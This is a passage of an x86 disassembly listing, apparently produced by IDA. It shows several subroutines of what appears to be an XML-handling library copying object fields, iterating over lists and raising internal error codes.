		mov	byte ptr [ebp+arg_8+3],	cl
		push	eax
		lea	ecx, [edi+8]
		call	sub_69B4D414
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_69B8C817
		push	eax
		mov	ecx, ebx
		call	sub_69B48821
		push	eax
		lea	eax, [edi+0Ch]
		push	eax
		call	sub_69B17320


loc_69B8C817:				; CODE XREF: sub_69B8C7D8+2Bj
		mov	ecx, esi
		call	sub_69B8C6AD
		cmp	byte ptr [ebp+arg_8+3],	0
		mov	[edi+18h], eax
		mov	eax, [esi+14h]
		mov	[edi+14h], eax
		jz	short loc_69B8C837
		push	dword ptr [esi+1Ch]
		call	sub_69B2F0C4
		jmp	short loc_69B8C83A
; ---------------------------------------------------------------------------


loc_69B8C837:				; CODE XREF: sub_69B8C7D8+53j
		mov	eax, [esi+1Ch]


loc_69B8C83A:				; CODE XREF: sub_69B8C7D8+5Dj
		push	eax
		lea	eax, [edi+1Ch]
		push	eax
		call	sub_69B17320
		cmp	byte ptr [ebp+arg_8+3],	0
		jz	short loc_69B8C862
		mov	ecx, [esi+20h]
		test	ecx, ecx
		jz	short loc_69B8C862
		mov	eax, [ecx]
		call	dword ptr [eax+28h]
		push	eax
		lea	eax, [edi+20h]
		push	eax
		call	sub_69B17320
		jmp	short loc_69B8C86E
; ---------------------------------------------------------------------------


loc_69B8C862:				; CODE XREF: sub_69B8C7D8+70j
					; sub_69B8C7D8+77j
		lea	eax, [esi+20h]
		push	eax
		lea	ecx, [edi+20h]
		call	sub_69B4D414


loc_69B8C86E:				; CODE XREF: sub_69B8C7D8+88j
		mov	eax, [esi+24h]
		mov	[edi+24h], eax
		mov	eax, [esi+28h]
		mov	[edi+28h], eax
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_69B8C7D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8C881	proc near		; CODE XREF: sub_69B8CC29+27p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		mov	edi, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		call	sub_69B8C7D8
		mov	eax, [ebx+4]
		mov	ecx, [ebx+8]
		mov	bl, [ebx]
		test	bl, bl
		mov	[ebp+arg_4], eax
		mov	eax, [eax+70h]
		mov	[ebp+arg_0], eax
		mov	eax, [edi+38h]
		mov	[esi+38h], eax
		mov	al, [edi+34h]
		mov	[ebp+var_4], ecx
		mov	[esi+34h], al
		jz	short loc_69B8C8D3
		mov	ecx, [edi+2Ch]
		call	sub_69B8F83D
		push	eax
		lea	eax, [esi+2Ch]
		push	eax
		call	sub_69B17320
		jmp	short loc_69B8C8DF
; ---------------------------------------------------------------------------


loc_69B8C8D3:				; CODE XREF: sub_69B8C881+3Cj
		lea	eax, [edi+2Ch]
		push	eax
		lea	ecx, [esi+2Ch]
		call	sub_69B4D414


loc_69B8C8DF:				; CODE XREF: sub_69B8C881+50j
		mov	ebx, [edi+10h]
		test	ebx, ebx
		jz	short loc_69B8C91F
		mov	eax, [ebx]
		mov	ecx, ebx
		call	dword ptr [eax+3Ch]
		mov	ecx, [ebp+arg_0]
		push	eax
		call	sub_69B48821
		movzx	ebx, byte ptr [ebx+0Bh]
		mov	ecx, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		and	ebx, 1Fh
		call	sub_69B3D200
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	ebx
		call	sub_69B1BE7F
		mov	edx, [esi]
		push	1
		push	eax
		mov	ecx, esi
		call	dword ptr [edx+38h]


loc_69B8C91F:				; CODE XREF: sub_69B8C881+63j
		cmp	dword ptr [edi+30h], 0
		jz	short loc_69B8C984
		call	sub_69B1D7F6
		push	eax
		lea	ebx, [esi+30h]
		push	ebx
		call	sub_69B17320
		push	dword ptr [edi+30h]
		lea	ecx, [ebp+var_C]
		call	sub_69B8A0E9
		mov	eax, [ebp+var_C]
		jmp	short loc_69B8C97F
; ---------------------------------------------------------------------------


loc_69B8C944:				; CODE XREF: sub_69B8C881+101j
		mov	eax, [eax]
		push	[ebp+arg_8]
		mov	[ebp+arg_4], eax
		lea	eax, [ebp+arg_4]
		push	eax
		push	0
		push	0
		call	sub_69B8D097
		mov	edi, [ebp+arg_4]
		mov	ecx, [ebx]
		push	edi
		call	sub_69B8A35C
		mov	eax, [edi+10h]
		test	eax, eax
		jz	short loc_69B8C976
		mov	ecx, [esi+10h]
		push	0
		push	eax
		call	sub_69B499AC


loc_69B8C976:				; CODE XREF: sub_69B8C881+E8j
		mov	eax, [ebp+var_C]
		add	eax, 4
		mov	[ebp+var_C], eax


loc_69B8C97F:				; CODE XREF: sub_69B8C881+C1j
		cmp	eax, [ebp+var_8]
		jb	short loc_69B8C944


loc_69B8C984:				; CODE XREF: sub_69B8C881+A2j
		push	dword ptr [esi+8]
		mov	ecx, [ebp+var_4]
		push	esi
		call	sub_69B8B4EF
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_69B8C881	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8C997	proc near		; CODE XREF: sub_69B8C084+207p
					; sub_69B8D4D5+70p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ecx+30h]
		test	eax, eax
		jz	locret_69B8CA63
		push	eax
		lea	ecx, [ebp+var_8]
		call	sub_69B8A0E9
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_4]
		jnb	locret_69B8CA63
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]


loc_69B8C9C2:				; CODE XREF: sub_69B8C997+C3j
		mov	esi, [eax]
		cmp	byte ptr [esi+30h], 1
		mov	eax, [esi+8]
		setz	bl
		test	bl, bl
		jnz	short loc_69B8C9D8
		cmp	dword ptr [esi+2Ch], 0
		jz	short loc_69B8CA4E


loc_69B8C9D8:				; CODE XREF: sub_69B8C997+39j
		mov	ecx, [ebp+arg_0]
		push	0
		push	0Fh
		push	eax
		call	sub_69B49C1F
		test	eax, eax
		jnz	short loc_69B8CA4E
		test	bl, bl
		jz	short loc_69B8CA08
		mov	ecx, [esi+8]
		push	eax
		mov	eax, [ecx]
		call	dword ptr [eax+2Ch]
		push	eax
		mov	eax, 0C00CE020h
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 10h
		jmp	short loc_69B8CA4E
; ---------------------------------------------------------------------------


loc_69B8CA08:				; CODE XREF: sub_69B8C997+54j
		mov	ecx, esi
		call	sub_69B8C6AD
		cmp	eax, 3
		jl	short loc_69B8CA4E
		cmp	eax, 4
		jg	short loc_69B8CA4E
		mov	ebx, [esi+2Ch]
		mov	ecx, [ebp+arg_4]
		push	ebx
		call	sub_69B8B00F
		test	eax, eax
		jnz	short loc_69B8CA4E
		mov	esi, [esi+10h]
		push	eax
		mov	eax, [edi]
		push	1
		push	edi
		call	dword ptr [eax+1Ch]
		push	eax
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+18h]
		push	eax
		mov	eax, [esi]
		push	ebx
		mov	ecx, esi
		call	dword ptr [eax+3Ch]
		mov	ecx, [ebp+arg_4]
		push	eax
		call	sub_69B8B5C1


loc_69B8CA4E:				; CODE XREF: sub_69B8C997+3Fj
					; sub_69B8C997+50j ...
		mov	eax, [ebp+var_8]
		add	eax, 4
		cmp	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		jb	loc_69B8C9C2
		pop	edi
		pop	esi
		pop	ebx

locret_69B8CA63:			; CODE XREF: sub_69B8C997+Aj
					; sub_69B8C997+1Fj
		leave
		retn	0Ch
sub_69B8C997	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8CA67	proc near		; CODE XREF: sub_69B5C433+14Ap
					; sub_69B8DCB5+22Fp

arg_0		= dword	ptr  4

		push	esi
		lea	esi, [ecx+30h]
		cmp	dword ptr [esi], 0
		jnz	short loc_69B8CA7C
		call	sub_69B1D7F6
		push	eax
		push	esi
		call	sub_69B17320


loc_69B8CA7C:				; CODE XREF: sub_69B8CA67+7j
		push	[esp+4+arg_0]
		mov	ecx, [esi]
		call	sub_69B8A35C
		pop	esi
		retn	4
sub_69B8CA67	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8CA8B	proc near		; CODE XREF: sub_69B8DCB5+117p

arg_0		= dword	ptr  4

		push	esi
		lea	esi, [ecx+20h]
		cmp	dword ptr [esi], 0
		jnz	short loc_69B8CAA0
		call	sub_69B1D7F6
		push	eax
		push	esi
		call	sub_69B17320


loc_69B8CAA0:				; CODE XREF: sub_69B8CA8B+7j
		push	[esp+4+arg_0]
		mov	ecx, [esi]
		call	sub_69B8A35C
		pop	esi
		retn	4
sub_69B8CA8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8CAAF	proc near		; CODE XREF: sub_69B8CB17+Fp
					; sub_69B8CBD2+9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, ecx
		call	sub_69B19118
		xor	eax, eax
		cmp	[esp+4+arg_4], eax
		mov	dword ptr [esi], offset	off_69B148D0
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		mov	[esi+1Ch], eax
		mov	[esi+20h], eax
		mov	ecx, esi
		jz	short loc_69B8CADE
		push	[esp+4+arg_4]
		call	sub_69B5AF7A
		jmp	short loc_69B8CAE7
; ---------------------------------------------------------------------------


loc_69B8CADE:				; CODE XREF: sub_69B8CAAF+22j
		push	[esp+4+arg_0]
		call	sub_69B8C7A5


loc_69B8CAE7:				; CODE XREF: sub_69B8CAAF+2Dj
		mov	eax, [esp+4+arg_8]
		or	dword ptr [esi+24h], 0FFFFFFFFh
		or	dword ptr [esi+28h], 0FFFFFFFFh
		mov	[esi+18h], eax
		mov	eax, esi
		pop	esi
		retn	0Ch
sub_69B8CAAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8CAFC	proc near		; DATA XREF: .text:69B148DCo

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B8C728
		test	[esp+4+arg_0], 1
		jz	short loc_69B8CB11
		push	esi
		call	sub_69B1829F


loc_69B8CB11:				; CODE XREF: sub_69B8CAFC+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B8CAFC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8CB17	proc near		; CODE XREF: sub_69B8CBBB+Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		push	ebx
		push	edi
		push	[esp+8+arg_4]
		xor	ebx, ebx
		push	ebx
		push	[esp+10h+arg_0]
		mov	edi, ecx
		call	sub_69B8CAAF
		cmp	[esp+8+arg_4], ebx
		mov	dword ptr [edi], offset	off_69B14910
		mov	[edi+2Ch], ebx
		mov	[edi+30h], ebx
		jz	short loc_69B8CB8E
		push	esi
		mov	ecx, edi
		call	sub_69B5AF99
		mov	esi, eax
		mov	al, [esp+0Ch+arg_8]
		mov	ecx, esi
		mov	[esi+30h], al
		mov	[esi+8], bl
		mov	byte ptr [esi+28h], 1
		call	sub_69B8F567
		mov	ecx, esi
		call	sub_69B8F0F8
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 1
		mov	ebx, eax
		jg	short loc_69B8CB75
		call	sub_69B2E6D8


loc_69B8CB75:				; CODE XREF: sub_69B8CB17+57j
		push	dword ptr [ebx+10h]
		mov	ecx, esi
		call	sub_69B8FF0A
		mov	ecx, esi
		call	sub_69B8F5A8
		mov	ecx, esi
		call	sub_69B8FBCF
		pop	esi


loc_69B8CB8E:				; CODE XREF: sub_69B8CB17+24j
		mov	eax, edi
		pop	edi
		pop	ebx
		retn	0Ch
sub_69B8CB17	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8CB95	proc near		; DATA XREF: .text:69B12B14o
					; .text:69B138F8o ...
		xor	eax, eax
		retn	4
sub_69B8CB95	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8CB9A	proc near		; DATA XREF: .text:69B14944o
		push	esi
		mov	esi, ecx
		push	0
		lea	eax, [esi+30h]
		push	eax
		call	sub_69B17320
		push	0
		lea	eax, [esi+2Ch]
		push	eax
		call	sub_69B17320
		mov	ecx, esi
		pop	esi
		jmp	sub_69B8C767
sub_69B8CB9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8CBBB	proc near		; CODE XREF: sub_69B5B040+Ap
					; sub_69B8B6C8+30p ...
		push	3Ch
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B8CBCD
		mov	ecx, eax
		jmp	sub_69B8CB17
; ---------------------------------------------------------------------------


loc_69B8CBCD:				; CODE XREF: sub_69B8CBBB+9j
		xor	eax, eax
		retn	0Ch
sub_69B8CBBB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8CBD2	proc near		; CODE XREF: sub_69B8CC29+16p
		push	esi
		push	edi
		xor	edi, edi
		push	edi
		push	edi
		push	edi
		mov	esi, ecx
		call	sub_69B8CAAF
		mov	dword ptr [esi], offset	off_69B14910
		mov	[esi+2Ch], edi
		mov	[esi+30h], edi
		pop	edi
		mov	eax, esi
		pop	esi
		retn
sub_69B8CBD2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8CBF1	proc near		; DATA XREF: .text:69B1491Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B8CC0C
		test	[esp+4+arg_0], 1
		jz	short loc_69B8CC06
		push	esi
		call	sub_69B1829F


loc_69B8CC06:				; CODE XREF: sub_69B8CBF1+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B8CBF1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8CC0C	proc near		; CODE XREF: sub_69B8CBF1+3p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+30h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+2Ch]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		pop	esi
		jmp	sub_69B8C728
sub_69B8CC0C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8CC29	proc near		; DATA XREF: sub_69B8B84D+4Do
					; sub_69B8BF13+5Eo

arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_8]
		mov	ebx, [esi]
		push	edi
		push	3Ch
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B8CC48
		mov	ecx, eax
		call	sub_69B8CBD2
		mov	edi, eax
		jmp	short loc_69B8CC4A
; ---------------------------------------------------------------------------


loc_69B8CC48:				; CODE XREF: sub_69B8CC29+12j
		xor	edi, edi


loc_69B8CC4A:				; CODE XREF: sub_69B8CC29+1Dj
		push	[esp+0Ch+arg_C]
		push	edi
		push	ebx
		call	sub_69B8C881
		mov	[esi], edi
		pop	edi
		pop	esi
		pop	ebx
		retn	10h
sub_69B8CC29	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8CC5D	proc near		; CODE XREF: sub_69B8E980+C2p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		call	dword ptr [eax+0ECh]
		mov	[esi+18h], eax
		pop	esi
		retn	4
sub_69B8CC5D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8CC73	proc near		; CODE XREF: sub_69B4CC55+ACp

arg_0		= dword	ptr  4

		push	dword ptr [ecx+18h]
		mov	ecx, [esp+4+arg_0]
		call	sub_69B3EB79
		retn	4
sub_69B8CC73	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8CC82	proc near		; CODE XREF: sub_69B4E634:loc_69B4E917p
					; sub_69B5B8CE+78p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	edi
		mov	esi, ecx
		call	sub_69B8C6DE
		cmp	byte ptr [esi+30h], 3
		jnz	short loc_69B8CD00
		mov	ecx, esi
		call	sub_69B8C6AD
		add	eax, 0FFFFFFFEh
		cmp	eax, 8		; switch 9 cases
		ja	short loc_69B8CCC5 ; default
		movzx	eax, ds:byte_69B8CD0D[eax]
		jmp	ds:off_69B8CD05[eax*4] ; switch	jump


loc_69B8CCB3:				; DATA XREF: .text:off_69B8CD05o
		mov	ecx, [esi+2Ch]	; jumptable 69B8CCAC cases 2,4,6
		mov	eax, [ecx]
		push	edi
		call	dword ptr [eax+24h]
		jmp	short loc_69B8CCE2
; ---------------------------------------------------------------------------


loc_69B8CCBE:				; CODE XREF: sub_69B8CC82+2Aj
					; DATA XREF: .text:off_69B8CD05o
		cmp	[esi+2Ch], edi	; jumptable 69B8CCAC cases 0,1,3,5,7,8
		jz	short loc_69B8CD00
		jmp	short loc_69B8CCE6
; ---------------------------------------------------------------------------


loc_69B8CCC5:				; CODE XREF: sub_69B8CC82+21j
		mov	ecx, [esi+2Ch]	; default
		test	ecx, ecx
		jnz	short loc_69B8CCD5
		cmp	[edi+8], ecx
		jnz	short loc_69B8CCE6
		test	ecx, ecx
		jz	short loc_69B8CD00


loc_69B8CCD5:				; CODE XREF: sub_69B8CC82+48j
		mov	eax, [ecx]
		call	dword ptr [eax+2Ch]
		mov	edx, [eax]
		push	edi
		mov	ecx, eax
		call	dword ptr [edx+24h]


loc_69B8CCE2:				; CODE XREF: sub_69B8CC82+3Aj
		test	al, al
		jnz	short loc_69B8CD00


loc_69B8CCE6:				; CODE XREF: sub_69B8CC82+41j
					; sub_69B8CC82+4Dj
		mov	ecx, [esi+8]
		mov	eax, [ecx]
		push	0
		call	dword ptr [eax+2Ch]
		push	eax
		mov	eax, 0C00CE016h
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 10h


loc_69B8CD00:				; CODE XREF: sub_69B8CC82+12j
					; sub_69B8CC82+3Fj ...
		pop	edi
		pop	esi
		retn	4
sub_69B8CC82	endp

; ---------------------------------------------------------------------------
off_69B8CD05	dd offset loc_69B8CCBE	; DATA XREF: sub_69B8CC82+2Ar
		dd offset loc_69B8CCB3	; jump table for switch	statement
byte_69B8CD0D	db	0,     0,     1,     0 ; DATA XREF: sub_69B8CC82+23r
		db	1,     0,     1,     0 ; indirect table	for switch statement
		db	0

; =============== S U B	R O U T	I N E =======================================



sub_69B8CD16	proc near		; CODE XREF: sub_69B8CF4E+9p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		lea	eax, [edi+8]
		push	eax
		lea	ecx, [esi+8]
		call	sub_69B4D414
		lea	eax, [edi+0Ch]
		push	eax
		lea	ecx, [esi+0Ch]
		call	sub_69B4D414
		mov	eax, [edi+14h]
		mov	[esi+14h], eax
		mov	eax, [edi+18h]
		mov	[esi+18h], eax
		lea	eax, [edi+1Ch]
		push	eax
		lea	ecx, [esi+1Ch]
		call	sub_69B4D414
		lea	eax, [edi+20h]
		push	eax
		lea	ecx, [esi+20h]
		call	sub_69B4D414
		mov	eax, [edi+24h]
		mov	[esi+24h], eax
		mov	eax, [edi+28h]
		mov	[esi+28h], eax
		mov	eax, [esi]
		push	1
		push	dword ptr [edi+10h]
		mov	ecx, esi
		call	dword ptr [eax+38h]
		pop	edi
		pop	esi
		retn	4
sub_69B8CD16	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B8CDB7


loc_69B8CD77:				; CODE XREF: sub_69B8CDB7+Dj
		push	esi
		push	[esp+4+arg_4]
		mov	esi, ecx
		push	[esp+8+arg_0]
		push	0
		call	sub_69B8CAAF
		mov	dword ptr [esi], offset	off_69B14950
		and	dword ptr [esi+2Ch], 0
		mov	byte ptr [esi+30h], 0
		mov	byte ptr [esi+31h], 0
		mov	eax, esi
		pop	esi
		retn	8
; END OF FUNCTION CHUNK	FOR sub_69B8CDB7

; =============== S U B	R O U T	I N E =======================================



sub_69B8CDA1	proc near		; DATA XREF: .text:69B14984o
		push	esi
		mov	esi, ecx
		push	0
		lea	eax, [esi+2Ch]
		push	eax
		call	sub_69B17320
		mov	ecx, esi
		pop	esi
		jmp	sub_69B8C767
sub_69B8CDA1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8CDB7	proc near		; CODE XREF: sub_69B5B0D9+9p
					; sub_69B5C433+CDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 69B8CD77 SIZE 0000002A BYTES

		push	34h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B8CDC6
		mov	ecx, eax
		jmp	short loc_69B8CD77
; ---------------------------------------------------------------------------


loc_69B8CDC6:				; CODE XREF: sub_69B8CDB7+9j
		xor	eax, eax
		retn	8
sub_69B8CDB7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8CDCB	proc near		; CODE XREF: sub_69B5BDC8+91p
					; sub_69B8DCB5+1F1p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_4], 0
		push	ebx
		push	esi
		mov	ebx, ecx
		jnz	short loc_69B8CE31
		mov	ecx, [ebx+8]
		mov	eax, dword_69B95A5C
		cmp	eax, [ecx+10h]
		jnz	short loc_69B8CE31
		cmp	byte ptr [ebx+30h], 3
		jz	loc_69B8CF48
		mov	eax, [ecx]
		mov	esi, dword_69B95A6C
		push	0
		push	0
		call	dword ptr [eax+2Ch]
		push	eax
		push	offset asc_69B282D8 ; ":"
		call	sub_69B1A587
		push	eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+2Ch]
		push	eax
		call	sub_69B2F2CA
		add	esp, 10h
		push	eax
		mov	eax, 0C00CE01Eh
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 10h
		jmp	loc_69B8CF48
; ---------------------------------------------------------------------------


loc_69B8CE31:				; CODE XREF: sub_69B8CDCB+Dj
					; sub_69B8CDCB+1Aj
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 12h
		mov	esi, eax
		jg	short loc_69B8CE43
		call	sub_69B2E6D8


loc_69B8CE43:				; CODE XREF: sub_69B8CDCB+71j
		mov	eax, [esi+54h]
		cmp	eax, [ebx+8]
		jnz	loc_69B8CF48
		mov	esi, [ebx+20h]
		push	edi
		mov	ecx, ebx
		call	sub_69B8C6AD
		cmp	[ebp+arg_4], 0
		jz	short loc_69B8CEC6
		test	esi, esi
		jz	loc_69B8CF15
		push	esi
		lea	ecx, [ebp+var_8]
		call	sub_69B8A0E9
		mov	ecx, [ebp+var_8]
		cmp	ecx, [ebp+var_4]
		jnb	loc_69B8CF15
		mov	eax, dword_69B95A84


loc_69B8CE82:				; CODE XREF: sub_69B8CDCB+F7j
		cmp	dword ptr [eax+8], 0Ch
		mov	esi, [ecx]
		mov	edi, eax
		jg	short loc_69B8CE96
		call	sub_69B2E6D8
		mov	eax, dword_69B95A84


loc_69B8CE96:				; CODE XREF: sub_69B8CDCB+BFj
		cmp	esi, [edi+3Ch]
		jz	short loc_69B8CEB6
		cmp	dword ptr [eax+8], 0Dh
		mov	edi, eax
		jg	short loc_69B8CEAD
		call	sub_69B2E6D8
		mov	eax, dword_69B95A84


loc_69B8CEAD:				; CODE XREF: sub_69B8CDCB+D6j
		cmp	esi, [edi+40h]
		jnz	loc_69B8CF36


loc_69B8CEB6:				; CODE XREF: sub_69B8CDCB+CEj
		mov	ecx, [ebp+var_8]
		add	ecx, 4
		cmp	ecx, [ebp+var_4]
		mov	[ebp+var_8], ecx
		jb	short loc_69B8CE82
		jmp	short loc_69B8CF15
; ---------------------------------------------------------------------------


loc_69B8CEC6:				; CODE XREF: sub_69B8CDCB+93j
		cmp	eax, 0Ah
		jnz	short loc_69B8CF36
		test	esi, esi
		jz	short loc_69B8CF36
		cmp	dword ptr [esi+0Ch], 2
		jnz	short loc_69B8CF36
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 0Ch
		mov	edi, eax
		jg	short loc_69B8CEE7
		call	sub_69B2E6D8


loc_69B8CEE7:				; CODE XREF: sub_69B8CDCB+115j
		push	dword ptr [edi+3Ch]
		mov	ecx, esi
		call	sub_69B677BA
		test	al, al
		jz	short loc_69B8CF36
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 0Dh
		mov	edi, eax
		jg	short loc_69B8CF07
		call	sub_69B2E6D8


loc_69B8CF07:				; CODE XREF: sub_69B8CDCB+135j
		push	dword ptr [edi+40h]
		mov	ecx, esi
		call	sub_69B677BA
		test	al, al
		jz	short loc_69B8CF36


loc_69B8CF15:				; CODE XREF: sub_69B8CDCB+97j
					; sub_69B8CDCB+ACj ...
		mov	eax, [ebx+10h]
		test	eax, eax
		jz	short loc_69B8CF47
		push	4
		pop	esi
		push	0
		push	eax
		call	sub_69B4EE00
		test	al, al
		jz	short loc_69B8CF2E
		push	0Ch
		pop	esi


loc_69B8CF2E:				; CODE XREF: sub_69B8CDCB+15Ej
		mov	eax, [ebp+arg_0]
		mov	[eax+38h], esi
		jmp	short loc_69B8CF47
; ---------------------------------------------------------------------------


loc_69B8CF36:				; CODE XREF: sub_69B8CDCB+E5j
					; sub_69B8CDCB+FEj ...
		mov	eax, 0C00CE02Ch
		push	0
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B8CF47:				; CODE XREF: sub_69B8CDCB+14Fj
					; sub_69B8CDCB+169j
		pop	edi


loc_69B8CF48:				; CODE XREF: sub_69B8CDCB+20j
					; sub_69B8CDCB+61j ...
		pop	esi
		pop	ebx
		leave
		retn	8
sub_69B8CDCB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8CF4E	proc near		; CODE XREF: sub_69B5BEDE+4Fp
					; sub_69B5C2C9+43p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	edi
		mov	esi, ecx
		call	sub_69B8CD16
		lea	eax, [edi+2Ch]
		push	eax
		lea	ecx, [esi+2Ch]
		call	sub_69B4D414
		mov	al, [edi+30h]
		pop	edi
		mov	[esi+30h], al
		pop	esi
		retn	4
sub_69B8CF4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8CF73	proc near		; CODE XREF: sub_69B8D097+22p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		push	esi
		push	edi
		push	ebx
		call	sub_69B8C7D8
		mov	eax, [esi+4]
		lea	esi, [ebx+2Ch]
		cmp	dword ptr [esi], 0
		mov	[ebp+arg_4], eax
		jz	short loc_69B8CFE3
		mov	eax, [ebp+arg_8]
		cmp	byte ptr [eax],	0
		jz	short loc_69B8CFE3
		mov	ecx, edi
		call	sub_69B8C6AD
		add	eax, 0FFFFFFFEh
		cmp	eax, 8		; switch 9 cases
		ja	short loc_69B8CFCA ; default
		movzx	eax, ds:byte_69B8D02B[eax]
		jmp	ds:off_69B8D023[eax*4] ; switch	jump


loc_69B8CFBD:				; DATA XREF: .text:off_69B8D023o
		mov	ecx, [esi]	; jumptable 69B8CFB6 cases 2,4,6
		mov	eax, [ecx]
		call	dword ptr [eax+28h]
		jmp	short loc_69B8CFD7
; ---------------------------------------------------------------------------


loc_69B8CFC6:				; CODE XREF: sub_69B8CF73+43j
					; DATA XREF: .text:off_69B8D023o
		mov	eax, [esi]	; jumptable 69B8CFB6 cases 0,1,3,5,7,8
		jmp	short loc_69B8CFD7
; ---------------------------------------------------------------------------


loc_69B8CFCA:				; CODE XREF: sub_69B8CF73+3Aj
		mov	ecx, [esi]	; default
		mov	eax, [ecx]
		call	dword ptr [eax+2Ch]
		push	eax
		call	sub_69B2F0C4


loc_69B8CFD7:				; CODE XREF: sub_69B8CF73+51j
					; sub_69B8CF73+55j
		push	eax
		lea	eax, [edi+2Ch]
		push	eax
		call	sub_69B17320
		jmp	short loc_69B8CFEC
; ---------------------------------------------------------------------------


loc_69B8CFE3:				; CODE XREF: sub_69B8CF73+23j
					; sub_69B8CF73+2Bj
		push	esi
		lea	ecx, [edi+2Ch]
		call	sub_69B4D414


loc_69B8CFEC:				; CODE XREF: sub_69B8CF73+6Ej
		mov	al, [ebx+30h]
		mov	[edi+30h], al
		mov	ebx, [ebx+10h]
		test	ebx, ebx
		jz	short loc_69B8D01C
		mov	ecx, [ebp+arg_4]
		mov	esi, [edi]
		push	1
		push	0
		call	sub_69B3D200
		push	eax
		push	[ebp+arg_4]
		mov	ecx, ebx
		push	1
		push	1
		call	sub_69B3D586
		push	eax
		mov	ecx, edi
		call	dword ptr [esi+38h]


loc_69B8D01C:				; CODE XREF: sub_69B8CF73+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_69B8CF73	endp

; ---------------------------------------------------------------------------
off_69B8D023	dd offset loc_69B8CFC6	; DATA XREF: sub_69B8CF73+43r
		dd offset loc_69B8CFBD	; jump table for switch	statement
byte_69B8D02B	db	0,     0,     1,     0 ; DATA XREF: sub_69B8CF73+3Cr
		db	1,     0,     1,     0 ; indirect table	for switch statement
		db	0

